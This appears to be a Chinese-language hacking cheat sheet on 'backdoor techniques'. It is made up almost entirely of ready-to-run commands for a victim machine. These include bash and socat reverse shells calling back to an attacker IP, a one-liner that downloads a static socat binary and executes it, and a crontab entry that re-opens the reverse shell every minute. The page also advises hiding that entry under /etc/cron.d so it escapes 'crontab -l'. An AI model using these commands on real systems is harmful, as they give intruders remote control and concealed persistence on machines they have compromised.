Skip to content

後門技巧

reverse shell

reverse shell cheatsheet

開後門最直覺的作法就是開一個 shell 在受害者機器的某個 port 讓我們可以連進去,但是這樣可能會被防火牆擋住

所以反過來,在受害者機器上開一個 shell 連回我們的機器

reverse shell

# target machine
bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
# hacker machine ( 192.168.100.100 )
socat TCP-LISTEN:9999 -
cannot create /dev/tcp/...

sh not support this feature, use bash instead

# run the whole command inside bash
bash -c "bash -i >& /dev/tcp/192.168.100.100/9999 0>&1"

better reverse shell

參考這一篇 Upgrading simple shells to fully interactive TTYs

python psuedo terminal

python -c 'import pty; pty.spawn("/bin/bash")'

socat

# target machine
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.100.100:9999
# hacker machine ( 192.168.100.100 )
socat file:`tty`,raw,echo=0 tcp-listen:9999
no socat install

如果受害者機器沒有安裝 socat 可以直接用 socat standalone binary

# target machine
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  

crontab

crontab cheatsheet

拿到 shell 之後,可以把後門塞到 crontab 讓他每一段時間就跑一次後門

# reverse shell every minute
echo '*/1 * * * * bash -c "bash -i &> /dev/tcp/192.168.100.100/9999 0>&1"' | crontab

可以用 crontab -l 看目前使用者的所有排程

如果有 root 權限也可以考慮塞到 /etc/cron.d, /etc/cron.hourly, ...,這樣 crontab -l 就看不到了